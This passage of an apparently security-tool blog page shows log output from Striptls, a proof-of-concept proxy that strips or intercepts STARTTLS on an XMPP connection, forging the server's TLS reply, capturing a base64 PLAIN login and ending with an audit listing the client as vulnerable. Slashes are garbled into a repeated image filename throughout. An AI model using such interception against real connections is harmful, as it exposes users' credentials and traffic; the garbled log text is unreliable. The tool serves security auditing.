    2016-02-05 16:53:34,926 - WARNING  - <Session 0x7f083196a910> terminated.
XMPP.StripUntrustedIntercept - TLS Interception inbound and outbound with own certificateLSQaB0db.pngkey 
    2016-02-05 16:53:42,799 - DEBUG    - <ProtocolDetect 0x7f083196aa90 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)

    2016-02-05 16:53:42,799 - INFO     - <Session 0x7f083196a8d0> client ('192.168.139.1', 56892) has connected

    2016-02-05 16:53:42,799 - INFO     - <Session 0x7f083196a8d0> connecting to target ('jabber.ccc.de', 5222)

    2016-02-05 16:53:42,901 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' version='1.0'>"

    2016-02-05 16:53:42,903 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.UntrustedIntercept new: True>

    2016-02-05 16:53:42,980 - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' id='10051743579572304948' from='jabber.ccc.de' version='1.0' xml:lang='en'><stream:features><c xmlns='http:LSQaB0db.pngLSQaB0db.pngjabber.orgLSQaB0db.pngprotocolLSQaB0db.pngcaps' hash='sha-1' node='http:LSQaB0db.pngLSQaB0db.pngwww.process-one.netLSQaB0db.pngenLSQaB0db.pngejabberdLSQaB0db.png' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='LSQaB0db.png><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><requiredLSQaB0db.png><LSQaB0db.pngstarttls><LSQaB0db.pngstream:features>"

    2016-02-05 16:53:42,984 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'LSQaB0db.png>"

    2016-02-05 16:53:42,986 - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server][mangled] "<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'LSQaB0db.png>"

    2016-02-05 16:53:43,006 - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server][mangled] waiting for inbound SSL Handshake

    2016-02-05 16:53:43,008 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'LSQaB0db.png>"

    2016-02-05 16:53:43,060 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server][mangled] performing outbound SSL handshake

    2016-02-05 16:53:43,219 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server][mangled] None

    2016-02-05 16:53:43,221 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'

    2016-02-05 16:53:43,225 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' version='1.0'>"

    2016-02-05 16:53:43,369 - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' id='6938642107398534259' from='jabber.ccc.de' version='1.0' xml:lang='en'>"

    2016-02-05 16:53:43,379 - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<stream:features><c xmlns='http:LSQaB0db.pngLSQaB0db.pngjabber.orgLSQaB0db.pngprotocolLSQaB0db.pngcaps' hash='sha-1' node='http:LSQaB0db.pngLSQaB0db.pngwww.process-one.netLSQaB0db.pngenLSQaB0db.pngejabberdLSQaB0db.png' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='LSQaB0db.png><register xmlns='http:LSQaB0db.pngLSQaB0db.pngjabber.orgLSQaB0db.pngfeaturesLSQaB0db.pngiq-register'LSQaB0db.png><mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN<LSQaB0db.pngmechanism><mechanism>X-OAUTH2<LSQaB0db.pngmechanism><mechanism>SCRAM-SHA-1<LSQaB0db.pngmechanism><LSQaB0db.pngmechanisms><LSQaB0db.pngstream:features>"

    2016-02-05 16:53:43,423 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'

    2016-02-05 16:53:43,426 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http:LSQaB0db.pngLSQaB0db.pngwww.google.comLSQaB0db.pngtalkLSQaB0db.pngprotocolLSQaB0db.pngauth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA==<LSQaB0db.pngauth>"

    2016-02-05 16:53:43,581 - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorizedLSQaB0db.png><LSQaB0db.pngfailure>"

    2016-02-05 16:53:43,611 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'

    2016-02-05 16:53:43,616 - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          'LSQaB0db.pngstream:stream>'

    2016-02-05 16:53:43,620 - WARNING  - <Session 0x7f083196a8d0> terminated.
 [adsense size='1']

XMPP Audit results 
    2016-02-05 16:53:46,352 - WARNING  - Ctrl C - Stopping server

    2016-02-05 16:53:46,353 - INFO     -  -- audit results --

    2016-02-05 16:53:46,353 - INFO     - [*] client: 192.168.139.1

    2016-02-05 16:53:46,353 - INFO     -     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>

    2016-02-05 16:53:46,353 - INFO     -     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>

    2016-02-05 16:53:46,353 - INFO     -     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>

Download Striptls


Share
Tweet
Pin
LinkedIn
Email
    
    


    











    
			

	Comments are closed.
Striptls – Proxy POC Implementation Of STARTTLS Stripping Attacks

Download Striptls

Share
Tweet
Pin
LinkedIn
Email

Comments are closed.

🌟 Your Account

🔔 Email Subscriptions

Get new posts by email

Donate Via Wallets

Popular

Gloss

☕️Social Media

👥Members

🌍 Forum Groups
